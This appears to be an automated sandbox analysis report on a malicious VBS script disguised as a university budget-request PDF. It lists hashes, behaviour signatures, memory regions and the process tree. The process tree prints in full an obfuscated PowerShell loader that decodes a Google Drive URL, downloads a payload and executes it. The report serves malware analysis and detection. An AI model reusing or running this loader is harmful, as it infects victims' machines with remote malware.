Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    11-11-2024 07:17

General

  • Target

    PERMINTAAN ANGGARAN (Universitas IPB) ID177888·pdf.vbs

  • Size

    85KB

  • MD5

    736c66558711ee1a2cbf31dd7a30f618

  • SHA1

    8068ed77dbf5b384bf4b36a495bc867fefcc6ed8

  • SHA256

    fbfdf6aee524001b40e5aa011341036a9cfc804c7e328b6cae691de62fff59c3

  • SHA512

    d8bb2933affb1054813b978f54d621d80a5bfe113d3de25706f251673288a49447539f871683fcd8aaaaecf7f73c1975bec55cf411cbaffc9b29555952682f5c

  • SSDEEP

    1536:o70tN910kK4Gd9pzpuoNay2kJtvSgsJUqtkkyCX+7oYLgR1VCXaAj2DexCmG:oQP91hbU9NeatvST1tgCXWoYLEVCgexa

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PERMINTAAN ANGGARAN (Universitas IPB) ID177888·pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sybotic Fladorme Ribbefri Sawpit #><#Twangling Heltidsbeskftigendes Underkaste Ejerstrukturen undladelsessynders Shufty #>$Saltekarrene='reflip';function Yoick($Glyphs){If ($host.DebuggerEnabled) {$Sekteriker++;$Sithement=$Glyphs.'Length' - $Sekteriker} for ( $swiveling=4;$swiveling -lt $Sithement;$swiveling+=5){$Rorke=$swiveling;$Reglers+=$Glyphs[$swiveling]}$Reglers}function Narrestregen($Beat){ .($projiceret) ($Beat)}$Konsumeringernes=Yoick ' awmnMis e Libt Sog.Asp WCande VagbTrk cThymLdemai SikEFin N ,ikt esk ';$Stilmblerne=Yoick 'AfstMBrano DepzF reiFr nlSemil unka .kt/Demn ';$Tsiology=Yoick 'C emTStanl SolsMyel1Nodd2A gr ';$Kontraktioners='Trop[ TruNOldfE istTgen .Cy rS BlaEZar rOpegvSysti itcCE.soeSynsPSypioI iti mpeNbndeTgregMFejla Vikn artADa rGVkkee Aflrslat]Olie:E tr:In eS Slae ammcTil.UFelwrTar IprovT StaySnylpBattRRoseoStafTMarioAut CTr kO ramlDisk=,usp$tar TU,diSHy,rIRui oB hrL nteo .msg N.nYTalo ';$Stilmblerne+=Yoick 'Majo5 Bar. Reg0 Com Ins( orWOrdiiPartn etedBredoCarow upesUncr GrapNFresTShun .rim1 Pe,0Wayl.sko 0Nazi; nte TelW GuriPalenrung6Lvfa4Vago; Rem Ihsx usp6Work4Sags; eca RedrrUn qv ver: ig1sire3 ou 1S it.Udle0 ros) Hje nbuGLoreeElekcunfaksk toUne /supe2Sulp0Pulm1L.uc0 S.u0 Kim1s,is0 Den1Glut BrneFa,paiMinorInteeSkolfPanlo C,pxBayr/Vift1 erf3Soft1Comp.tric0Hove ';$Bedazement=Yoick 'Ski,US alsGammEParkrJean-Re kaTaoiG BageUnpon eciTNrre ';$Amoralitetens112=Yoick ' hi.hAtomtShartB ugpNikksKltr:Tr.q/forg/Yok,d ritrScati MorvAfgreDeba.Sl mgKrusoBankoResigAdral Cr,eNonv.aflyc OpfoEftemBein/Justu LsecRac ?Fad e.hrexbiblpGrino ommrSocitGnav=Snond Oato IndwBetenHyb l UnpoBracaD tadSvrm&ParliKnopdBehn=Cant1 husGmanaY op V UklwE brA De ZbrevePol _ Nask Mav3IndsHrecoh Fu X H.soHynet Lov-TilfX.ikkTTffeFAntiVUdspa JulaCoulE.usch Va 9 LeaUS reUUninqVrdii.aryJ.idrHGablY tox ';$Vulvocrural=Yoick 'Bye >Exta ';$projiceret=Yoick 'IrroI SolEUdgaXS od ';$Spanierne='betydningslren';$swivelingnsipient='\Borgerrettighed.Pol';Narrestregen (Yoick 'Alky$TilkG RadLTr kO L.pbDataABushlSt l:TorrmBortYnormO de pPreerBarrOhalvTBirte C liM.sonSurg=oppu$Nun eR dunBobrVBlas:CoadasdumPNumep uledtmmeACroqTSte a ,nd+Bram$BallSsi.kW.icriIntevPulwENdr lLup IEatan AdvgOpern SskST,wei engPTidsIBi,teUnbuN Afnta is ');Narrestregen (Yoick ' Cha$ MargBag Lt stoMaribMercAStilL B,d:For.SHor.aFr,eLUlt gAr esL,vicShimHMo,ea Sp uM.ndFTankFSarkrPlir5upca3Izaf=.one$ArmeaPendMTtnioCarbrH arALng lS rdiRiddt.onfETrutT RecEMetrNTr.msEndt1Pala1Poly2Evil.IrresMo op Un lLirkIEchotFeml(Syst$UdskVNaa uN,npl icvImbuO.pstCDwarrkonsu FasrD.avABekrlhawa),ord ');Narrestregen (Yoick $Kontraktioners);$Amoralitetens112=$Salgschauffr53[0];$Skandale130=(Yoick 'Co,n$dio gibinlCykeODoteB DedAK plL ,em:giolSUfo k ProiAnaxLPer L Hume unVUddegskrmSSelvfTablLBefiyHaantFortnAffai Po ND.aegOligSA le=AvlenLegae.arnwprea-StrioGastbAlitjVandE Ai cBoliT Try BesS CuryAcmaSAnveTUhareUnmem Aft.bogs$PuiskLataOThewN kaSbygguOphom Al E rchRUd eICur NNonaGAarmeTrearde,aNWildeLvsaSpreo ');Narrestregen ($Skandale130);Narrestregen (Yoick 'Lisc$ SveS GrukHe.iiIn alGstel NoneAff vLym gTingsDem fSkrilPi.ayForstBesknB,ggiApornaagegjungsA ie.WielH ArveCapraAjledAbnoeMaskrOpbysMoon[Fe.h$ nteBMor.eT akdVulcaDevozV lgeF rlmdk ieCo sn.ecttnar ]Usn = Pyr$PangSBenetAffei ndsl,nfrm Moob tillEftee BogrSlvknKulle Br ');$Paramastigate=Yoick 'Snyd$PostSDetekS.bciDepalRe sl CiteOvervPr,vgDe,es JowfG rdlJoggyJ but ParnJageiRenunResigUni sUn a.T.enD.ynooVentwSulfnUndelUlovo GuaahunddPortFSor.iTherlsagteR.ms(Chon$El cA intm ovso arir nstaEksplSk.giUgant UnceDr ftSnedeSammn .eys Ra.1Styr1,arg2,lbe, Scr$Fo lJ StruEnt mLnfobAutol tile,jord Rek4 ebr1Sild)Udsk ';$Jumbled41=$Myoprotein;Narrestregen (Yoick 'R,su$Om,gGS,vsL aaOEpigB GalASymbL Slu: P tVHalsrRab I GamGPelt= Bla(ForsT Re eR,nmSSapoTOver-BaklPMidnaMisltAmbiHOp f Macr$Ol gJS avUForkmu.soBIndtL idE PreDH,ar4 Baj1 Cni) ver ');while (!$vrig) {Narrestregen (Yoick 'C,ar$KopigGy,nl Fiso Gi bAstea Ve,l Dea:Ban A TjabTravs renvMaglo MislL,antmin =Thor$Anubtnon r eruAutoe,las ') ;Narrestregen $Paramastigate;Narrestregen (Yoick ',illsGeneTAkhla IntRMisitCyto- bersGeofLarreePho eFor.PBr.s Stam4Midd ');Narrestregen (Yoick 'Spe $ nfuGOu dlMornoPreoBIm aa CyklHomm: IsbvScenrVerdiFascg,ens=Gest( DektCo.pEneigSLamptpigg-GoutPm.isATeleT.rbah ,uk Redi$ FrujPol.uvalgmBon BFi eL DiveOverdTi g4Cons1Elec) Pr ') ;Narrestregen (Yoick ' Phr$ SevgFodbl,agtoSnakbUde ABrnelNatt:Rou mImboORollDS,amu Zanl .reAP otTLandIMurrOTaroNBu h=.dvi$ ArsGSweeL Ku.OUnrub XreaOmkrlGall:FortD ndeEBrempalc.H PlaLN,diO,uliG OveITandS lot inniTittc soma omnT MusEmilj+Vedf+Patr%Tidm$ParaS Ch aBo.tlKikkGRedasTykscI.teh ndeA MaiUcataFPo sfVagor ig5 ont3Drif.m,lmCLiceoBeviUIntenGerbtFor ') ;$Amoralitetens112=$Salgschauffr53[$Modulation]}$Hvervenes=280926;$Korrespondens=30345;Narrestregen (Yoick '.amu$IberG .nfLUdenoLevebReasAfierLNaes:UnplFEquaoTarpRparaTJereROutbnThunElapnL Stes SvieRundRBldg Marv= M s ConfGantie UnstLebe- EyeC oleo TubnKnigTCan eMa znFor tDhan Prop$RuneJWateUmundM ekaBBruglRem.eNe eD.eho4Me a1Tryk ');Narrestregen (Yoick 'Reli$NonegRep lOranoMantbfaxeaReaslSoli:HoveKRegloWeisgDriva Ce lUndvsProskMoonaProbb ,etsTegn und =Ubev Pers[ Ve SmiscyCym sForstReocePaenm and.LambC WanoUndenAnalvHusleVibrr UnrtProg]mask:Dewb:KlieFJaycrDecaoSkjomSt nBLi eaPerss Xyle Lon6El e4Co.uSStoltInelroveri Snun AdvgIndt(Ante$A,owfMytoo plarSpeetRea.rForenP treReallPhocsJi se blorKoka)Micr ');Narrestregen (Yoick ' .un$ImmuG raLGgetoHy.rBOmbuA Vr l est: Oves T do Pe nUndegPosisSamkT ElaRImpreBranSSkibsSupeeU baS ao1 Ep 6B ff5Hamm Kr k=Lind Para[VrdisRelaYRe.asSeruTUrinEAfspmSty..DititAntiE ,ncxza iT ,ae.TherE ycanBereCFrgeoS uddDecriBe yn TeaGAnbe]Legi:Zina:Be.yA RaaS l.uCCellIS eei Sut.RoseGLaudeStrmtLrerSBaryT SamRS.kuIforfNOverGObse(Gen,$U.isKChecOUroegExpuA yralOrk S VenkA,anASpigB Carsno i) hir ');Narrestregen (Yoick 'Ophr$LitagMultLNomioSledbKubiAc urLColu: Ge mAnt eActiSOto,sErikeJupiNTrus= Fly$Spr SNiseOPer NDenaGUhanSBladtFuldRFl ve.ebisAf vSChinE SlysOutb1St r6,eni5s ba. ifns HeduStowBBjrnS RoutJulerInfoI BlonAutoG Res( V d$ andH alaVPdqae.ollRRapsVB llEA,niNm,gneDe esSkra,Une $Ri pkKle OAtomrHumiRNonfED.mmS EndPKommo.vern SkrdNordEbarnnAn,iSU,ti)Pycn ');Narrestregen $Messen;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:872

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabB260.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/872-20-0x000007FEF664E000-0x000007FEF664F000-memory.dmp

    Filesize

    4KB

  • memory/872-21-0x000000001B800000-0x000000001BAE2000-memory.dmp

    Filesize

    2.9MB

  • memory/872-22-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/872-25-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/872-24-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/872-23-0x0000000000680000-0x0000000000688000-memory.dmp

    Filesize

    32KB

  • memory/872-26-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/872-27-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/872-28-0x000007FEF664E000-0x000007FEF664F000-memory.dmp

    Filesize

    4KB

  • memory/872-29-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/872-30-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/872-31-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/872-32-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB

  • memory/872-33-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

    Filesize

    9.6MB